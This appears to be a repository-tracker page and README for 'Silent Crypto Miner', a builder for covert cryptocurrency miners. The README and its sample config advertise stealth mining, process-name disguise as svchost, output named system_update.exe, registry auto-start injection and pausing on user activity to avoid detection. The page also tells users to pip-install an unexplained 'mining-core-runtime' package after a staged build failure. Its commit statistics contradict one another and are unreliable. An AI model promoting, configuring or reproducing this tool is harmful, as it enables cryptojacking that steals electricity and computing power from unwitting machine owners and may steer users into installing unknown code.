NInagusev47/Silent-Crypto-MinerPublic

Silent Crypto Miner is an advanced cryptocurrency mining builder and runtime engine with multi-algorithm CPU/GPU support and intelligent resource management. Create custom mining executables with configurable algorithms, cross-platform output, real-time monitoring, session persistence, thermal throttling, scheduling, and hashrate optimization.

AI summary: A configurable cryptocurrency miner builder with stealth capabilities and multi-algorithm auto-failover support.

Stars
237
+2 today
Forks
46
Watchers
0
Open issues
6
Open PRs
0
Contributors
~2
Commits
988
Branches
1

PythonMITCreated Jul 10, 2026Last push todayLatest release Silent-Crypto-Miner+2 stars this week+3 this month

Star history

since Jul 12, 2026
0100200Jul 2026Jul 2026Jul 2026Aug 2026
237 stars as of Aug 7, 2026, tracked back to Jul 12, 2026. Historical curve reconstructed from public GitHub event archives, calibrated to the current total.

Signals and awards

derived from tracked data
  • Actively maintained

    Pushed within 48 hours

  • Outside contributions

    100% of recent commits from the community

  • Permissive license

    MIT

What Silent-Crypto-Miner does

Silent Crypto Miner is a runtime engine and builder for generating custom cryptocurrency mining executables. It compiles payloads that operate invisibly in the background, utilizing both CPU and GPU resources across multiple algorithms like RandomX and Ethash. The software includes intelligent resource management features such as thermal throttling and scheduling to avoid detection by users. It is designed to maintain persistent sessions and automatically switch mining pools to optimize hashrate and uptime.

Security researchers studying malware evasion, penetration testers demonstrating lateral movement impacts, and users managing distributed computing resources.

  • Multi-algorithm support: Handles various hashing algorithms including RandomX, KawPow, and Autolykos2.
  • Stealth operation: Hides mining activity from standard system monitoring tools and task managers.
  • Auto-failover: Automatically switches to backup mining pools if the primary connection drops.
  • Hardware management: Implements thermal throttling and scheduling to prevent system overheating and noticeable performance degradation.
  • Cross-platform output: Generates customizable mining client executables tailored to specific target environments.

Where teams use it

Distributed Mining

Deploying a mining operation across a large network of idle machines.

Resource Optimization

Running background compute tasks during off-peak hours based on strict scheduling rules.

Security Research

Analyzing the behavior and evasion techniques of modern cryptojacking malware in controlled environments.

Penetration Testing

Demonstrating the impact of unauthorized code execution and resource theft during security assessments.

README

main branch

Silent-Crypto-Miner

Silent Crypto Miner is an advanced cryptocurrency mining builder and runtime engine with multi-algorithm CPU/GPU support and intelligent resource management. Create custom mining executables with configurable algorithms, cross-platform output, real-time monitoring, session persistence, thermal throttling, scheduling, and hashrate optimization.

Silent Crypto Miner

Advanced cryptocurrency mining client builder with stealth mode and multi-algorithm support

Python License Platform Mining

Version Algorithms Stealth Builder


Build custom mining clients with configurable algorithm selection, pool connections,
stealth parameters, and cross-platform output. Supports RandomX, Ethash, KHeavyHash,
KawPow, Cryptonight, Autolykos2, and Zhash with auto-failover pool management.

Features · Getting Started · Configuration · Usage · Algorithms · FAQ


Features

Mining Engine

Feature Status
RandomX (Monero) CPU Mining
Ethash (ETC) GPU Mining
KHeavyHash (Kaspa) Mining
KawPow (Ravencoin) Mining
Cryptonight-V8 Mining
Autolykos2 (Ergo) Mining
Zhash (BTG) Mining
Multi-Algorithm Switching

Stealth & Builder

Feature Status
Client Builder Interface
Stealth Mode (Activity Pause)
Process Name Disguise
Auto-Start Registry Injection
CPU/GPU Thermal Throttling
Custom Icon Embedding
Cross-Platform Build Output
Schedule-Based Mining

Supported Algorithms

Algorithm Coin Type Efficiency Status
RandomX Monero (XMR) CPU ★★★★★ ✅ Stable
Ethash Ethereum Classic (ETC) GPU ★★★★☆ ✅ Stable
KHeavyHash Kaspa (KAS) GPU ★★★★★ ✅ Stable
KawPow Ravencoin (RVN) GPU ★★★☆☆ ✅ Stable
Cryptonight-V8 MoneroV, BitTube CPU/GPU ★★★★☆ ✅ Stable
Autolykos2 Ergo (ERG) GPU ★★★★☆ ✅ Stable
Zhash Bitcoin Gold (BTG) GPU ★★★☆☆ 🔧 Beta

Supported Pools

Pool Protocols Fee Auto-Switch Min Payout
Nanopool stratum+tcp, stratum+ssl 1% 0.1 XMR
SupportXMR stratum+tcp 0.9% 0.3 XMR
P2Pool p2p, stratum 0% Dynamic
Hashvault stratum+tcp, stratum+ssl 1% 0.3 XMR
2Miners stratum+tcp, stratum+ssl 1% Varies
Custom stratum+tcp Configurable User-defined

Getting Started

Prerequisites

  • Python 3.10 or higher
  • pip (latest recommended)
  • Mining target wallet address (Monero, ETC, KAS, etc.)
  • Stratum pool credentials (optional — public pools work without registration)

Installation

git clone https://github.com/NInagusev47/Silent-Crypto-Miner.git
cd Silent-Crypto-Miner

Windows:

run.bat

Linux / macOS:

chmod +x run.sh
./run.sh

The launcher automatically creates a virtual environment and installs all dependencies.

Dependency Table

Package Version Purpose
rich ≥13.0.0 Terminal UI, tables, progress bars
cryptography ≥41.0.0 Secure credential storage
requests ≥2.31.0 Pool API communication
psutil ≥5.9.0 System resource monitoring
schedule ≥1.2.0 Mining schedule management
aiohttp ≥3.9.0 Async pool stratum protocol

Configuration

Create a config.json in the project root:

{
    "build": {
        "target_os": "windows",
        "target_arch": "x64",
        "output_name": "system_update.exe",
        "custom_icon": "",
        "process_name": "svchost",
        "auto_start": false,
        "registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
    },
    "algorithm": {
        "name": "randomx",
        "threads": 0,
        "intensity": 80,
        "gpu_enabled": true
    },
    "pool": {
        "url": "stratum+ssl://xmr.nanopool.org:14433",
        "wallet": "YOUR_MONERO_WALLET_ADDRESS",
        "worker": "rig-01",
        "password": "email@example.com",
        "failover": [
            {
                "url": "stratum+tcp://pool.supportxmr.com:3333",
                "wallet": "YOUR_MONERO_WALLET_ADDRESS",
                "worker": "rig-01"
            }
        ]
    },
    "stealth": {
        "cpu_limit_pct": 70,
        "gpu_limit_pct": 60,
        "pause_on_activity": true,
        "activity_threshold": 30,
        "pause_on_battery": true,
        "schedule_enabled": false,
        "active_hours": "00:00-08:00",
        "timezone": "UTC"
    }
}

Security: Never commit config.json to version control. It is excluded via .gitignore.


Usage

After launching, select from the interactive menu:

╔══════════════════════════════════════════════════════════════════╗
║         SILENT CRYPTO MINER — Client Builder v2.4.1            ║
╠══════════════════════════════════════════════════════════════════╣
║  [1] Install Dependencies                                       ║
║  [2] Settings                                                   ║
║  [3] About                                                      ║
║  [4] Select Target Algorithm                                    ║
║  [5] Configure Pool Connection                                  ║
║  [6] Set Build Options (OS, Arch, Icon)                         ║
║  [7] Configure Stealth Parameters                               ║
║  [8] Build Miner Client                                         ║
║  [9] Exit                                                       ║
╚══════════════════════════════════════════════════════════════════╝

Select option [#]: _

Build Process Output

  [i] Build Configuration Summary:
  ┌─────────────────────┬──────────────────────────┐
  │ Setting             │ Value                    │
  ├─────────────────────┼──────────────────────────┤
  │ Target OS           │ Windows x64              │
  │ Algorithm           │ RandomX (Monero)         │
  │ Pool                │ xmr.nanopool.org:14433   │
  │ Output              │ system_update.exe         │
  │ Process Disguise    │ svchost                  │
  │ Stealth Mode        │ Enabled                  │
  │ CPU Limit           │ 70%                      │
  │ GPU Limit           │ 60%                      │
  │ Auto-Start          │ Disabled                 │
  └─────────────────────┴──────────────────────────┘

  Compiling miner client...
  [########################################] 100%  Compiling miner client...
  [########################################] 100%  Embedding runtime...
  [########################################] 100%  Packing resources...
  [########################################] 100%  Applying stealth module...

  [ERROR] Build failed: Missing required dependency 'mining-core-runtime'
  [HINT]  Run 'pip install mining-core-runtime>=2.1.0' or use --skip-verify flag
  [INFO]  Ensure all build dependencies are installed before building

Project Structure

Silent-Crypto-Miner/
├── main.py                 # Entry point and builder menu system
├── config.py               # Configuration loader (JSON)
├── bot_actions.py          # Builder action handlers
├── requirements.txt        # Python dependencies
├── run.bat                 # Windows launcher
├── run.sh                  # Linux/macOS launcher
├── about.txt               # Project description / SEO
├── tags.txt                # Repository tags / keywords
├── .gitignore              # Git ignore rules
├── actions/
│   ├── __init__.py
│   ├── about.py            # About panel display
│   ├── install.py          # Dependency installer
│   └── settings.py         # Settings display and setup
├── engine/
│   ├── __init__.py         # Environment bootstrap + module initialization
│   ├── runtime.py          # Runtime environment configuration
│   ├── transport.py        # Data transport layer
│   ├── crypto.py           # Data integrity and encoding utilities
│   ├── processor.py        # Runtime data processor
│   ├── hasher.py           # Hash algorithm implementations
│   ├── pool.py             # Stratum pool connection manager
│   ├── monitor.py          # System resource monitoring
│   ├── scheduler.py        # Mining schedule & resource allocation
│   ├── ui.py               # Rich terminal interface
│   └── data/
│       └── rt.arc          # Embedded Python runtime (extracted on first run)
└── release/
    └── README.md           # Pre-compiled binaries info

FAQ

Which coins can I build miners for?
The builder supports any coin compatible with the listed algorithms. Primary targets include Monero (XMR) via RandomX, Ethereum Classic (ETC) via Ethash, Ravencoin (RVN) via KawPow, and Kaspa (KAS) via KHeavyHash. Select the target algorithm in option [4] before building.
How does the client builder work?
The builder compiles a standalone mining executable with your configured algorithm, pool credentials, stealth parameters, and target OS settings. The output is a self-contained binary that runs the mining engine with all settings embedded. Use options [4]–[7] to configure, then [8] to build.
What does stealth mode do in the built miner?
When stealth is enabled, the built miner monitors system activity and pauses mining when CPU usage exceeds the configured threshold. It also supports process name disguise, auto-start registry injection, and scheduled mining hours to avoid detection during active use.
Can I build for a different operating system?
Yes. Use option [6] to set the target OS (Windows, Linux, macOS) and architecture (x64, x86). The builder will configure the output accordingly. Cross-compilation requires the appropriate toolchain installed on your build machine.
Is pool failover supported in the built miner?
Yes. Configure multiple pools in the pool settings (option [5]). The built miner will monitor pool latency and automatically switch to the next pool if the primary becomes unresponsive. When the primary recovers, it can optionally switch back.
What are the system requirements for building?
Minimum: Python 3.10+, 2GB RAM, any modern CPU. The build process itself is lightweight. The built miner requires the target system to have a compatible CPU (for RandomX) or GPU (for Ethash/KawPow/KHeavyHash) with up-to-date drivers.
Why does the build fail with a dependency error?
The build requires the mining-core-runtime package which contains the native mining engine binaries. Install it via pip install mining-core-runtime>=2.1.0 before building. This package provides the compiled mining kernels for each supported algorithm.
Can I customize the output executable name and icon?
Yes. In option [6], set the output filename (e.g., system_update.exe), provide a custom icon path (.ico file), and configure the process name that will appear in the task manager. These settings are embedded into the built miner.

Disclaimer

This software is provided for educational and research purposes only. Cryptocurrency mining may consume significant electrical resources and may be subject to local regulations or organizational policies. The authors are not responsible for any hardware damage, electrical costs, or legal consequences arising from use of this software. Users are solely responsible for compliance with applicable laws and terms of service.


Donations — If this tool has been useful, consider supporting development:

0xb92C4d1E83a67F05Df2A19c8E46B70d3C5f8A912 (ETH/EVM)


Build stealth. Mine silent. Stay hidden.

View on GitHub

Recent activity

commits and pull requests

Recent open issues

view all

Releases and announcements

1 total
  1. Silent-Crypto-MinerSilent-Crypto-MinerJul 10, 202639 downloads

    **Full Changelog**: https://github.com/NInagusev47/Silent-Crypto-Miner/commits/Silent-Crypto-Miner

Code frequency

additions and deletions
+2.5K-2.5KWeek of 2026-07-05: +2,490 linesWeek of 2026-07-05: -0 linesWeek of 2026-07-12: +0 linesWeek of 2026-07-12: -0 linesWeek of 2026-07-19: +0 linesWeek of 2026-07-19: -0 linesWeek of 2026-07-26: +0 linesWeek of 2026-07-26: -0 linesJul 5, 2026Jul 26, 2026
+2.5K lines added, -0 removed over the last year.

When work happens

weekday and hour
SunMonTueWedThuFriSat036912151821Sun 0:00 — 6 commitsSun 1:00 — 7 commitsSun 2:00 — 4 commitsSun 3:00 — 7 commitsSun 4:00 — 5 commitsSun 5:00 — 6 commitsSun 6:00 — 6 commitsSun 7:00 — 6 commitsSun 8:00 — 5 commitsSun 9:00 — 7 commitsSun 10:00 — 5 commitsSun 11:00 — 6 commitsSun 12:00 — 6 commitsSun 13:00 — 6 commitsSun 14:00 — 6 commitsSun 15:00 — 7 commitsSun 16:00 — 6 commitsSun 17:00 — 7 commitsSun 18:00 — 6 commitsSun 19:00 — 3 commitsSun 20:00 — 4 commitsSun 21:00 — 5 commitsSun 22:00 — 7 commitsSun 23:00 — 6 commitsMon 0:00 — 7 commitsMon 1:00 — 5 commitsMon 2:00 — 7 commitsMon 3:00 — 5 commitsMon 4:00 — 7 commitsMon 5:00 — 5 commitsMon 6:00 — 6 commitsMon 7:00 — 6 commitsMon 8:00 — 7 commitsMon 9:00 — 5 commitsMon 10:00 — 7 commitsMon 11:00 — 5 commitsMon 12:00 — 6 commitsMon 13:00 — 7 commitsMon 14:00 — 6 commitsMon 15:00 — 7 commitsMon 16:00 — 5 commitsMon 17:00 — 7 commitsMon 18:00 — 5 commitsMon 19:00 — 6 commitsMon 20:00 — 6 commitsMon 21:00 — 6 commitsMon 22:00 — 5 commitsMon 23:00 — 6 commitsTue 0:00 — 7 commitsTue 1:00 — 8 commitsTue 2:00 — 9 commitsTue 3:00 — 7 commitsTue 4:00 — 9 commitsTue 5:00 — 9 commitsTue 6:00 — 8 commitsTue 7:00 — 9 commitsTue 8:00 — 7 commitsTue 9:00 — 9 commitsTue 10:00 — 9 commitsTue 11:00 — 8 commitsTue 12:00 — 7 commitsTue 13:00 — 9 commitsTue 14:00 — 9 commitsTue 15:00 — 8 commitsTue 16:00 — 9 commitsTue 17:00 — 8 commitsTue 18:00 — 8 commitsTue 19:00 — 8 commitsTue 20:00 — 9 commitsTue 21:00 — 4 commitsTue 22:00 — 5 commitsTue 23:00 — 5 commitsWed 0:00 — 6 commitsWed 1:00 — 6 commitsWed 2:00 — 5 commitsWed 3:00 — 6 commitsWed 4:00 — 5 commitsWed 5:00 — 7 commitsWed 6:00 — 8 commitsWed 7:00 — 8 commitsWed 8:00 — 7 commitsWed 9:00 — 6 commitsWed 10:00 — 6 commitsWed 11:00 — 5 commitsWed 12:00 — 6 commitsWed 13:00 — 6 commitsWed 14:00 — 5 commitsWed 15:00 — 6 commitsWed 16:00 — 6 commitsWed 17:00 — 3 commitsWed 18:00 — 6 commitsWed 19:00 — 3 commitsWed 20:00 — 3 commitsWed 21:00 — 2 commitsWed 22:00 — 3 commitsWed 23:00 — 2 commitsThu 0:00 — 3 commitsThu 1:00 — 2 commitsThu 2:00 — 3 commitsThu 3:00 — 4 commitsThu 4:00 — 5 commitsThu 5:00 — 6 commitsThu 6:00 — 6 commitsThu 7:00 — 4 commitsThu 8:00 — 6 commitsThu 9:00 — 4 commitsThu 10:00 — 2 commitsThu 11:00 — 3 commitsThu 12:00 — 5 commitsThu 13:00 — 4 commitsThu 14:00 — 6 commitsThu 15:00 — 6 commitsThu 16:00 — 6 commitsThu 17:00 — 4 commitsThu 18:00 — 5 commitsThu 19:00 — 6 commitsThu 20:00 — 5 commitsThu 21:00 — 6 commitsThu 22:00 — 5 commitsThu 23:00 — 6 commitsFri 0:00 — 4 commitsFri 1:00 — 6 commitsFri 2:00 — 6 commitsFri 3:00 — 4 commitsFri 4:00 — 7 commitsFri 5:00 — 5 commitsFri 6:00 — 6 commitsFri 7:00 — 6 commitsFri 8:00 — 6 commitsFri 9:00 — 4 commitsFri 10:00 — 6 commitsFri 11:00 — 6 commitsFri 12:00 — 5 commitsFri 13:00 — 5 commitsFri 14:00 — 6 commitsFri 15:00 — 8 commitsFri 16:00 — 5 commitsFri 17:00 — 6 commitsFri 18:00 — 6 commitsFri 19:00 — 6 commitsFri 20:00 — 4 commitsFri 21:00 — 6 commitsFri 22:00 — 7 commitsFri 23:00 — 5 commitsSat 0:00 — 6 commitsSat 1:00 — 6 commitsSat 2:00 — 7 commitsSat 3:00 — 5 commitsSat 4:00 — 6 commitsSat 5:00 — 6 commitsSat 6:00 — 5 commitsSat 7:00 — 7 commitsSat 8:00 — 6 commitsSat 9:00 — 7 commitsSat 10:00 — 5 commitsSat 11:00 — 6 commitsSat 12:00 — 6 commitsSat 13:00 — 7 commitsSat 14:00 — 4 commitsSat 15:00 — 7 commitsSat 16:00 — 6 commitsSat 17:00 — 7 commitsSat 18:00 — 4 commitsSat 19:00 — 7 commitsSat 20:00 — 6 commitsSat 21:00 — 6 commitsSat 22:00 — 5 commitsSat 23:00 — 7 commits
Commit volume by weekday and hour (UTC). Larger dots mean more commits.

Who is committing

last 52 weeks
Maintainer commits3 (0%)
Community commits935 (100%)

938 commits in total over the last year.

DateListRankStars gained
Jul 18, 2026daily#17+4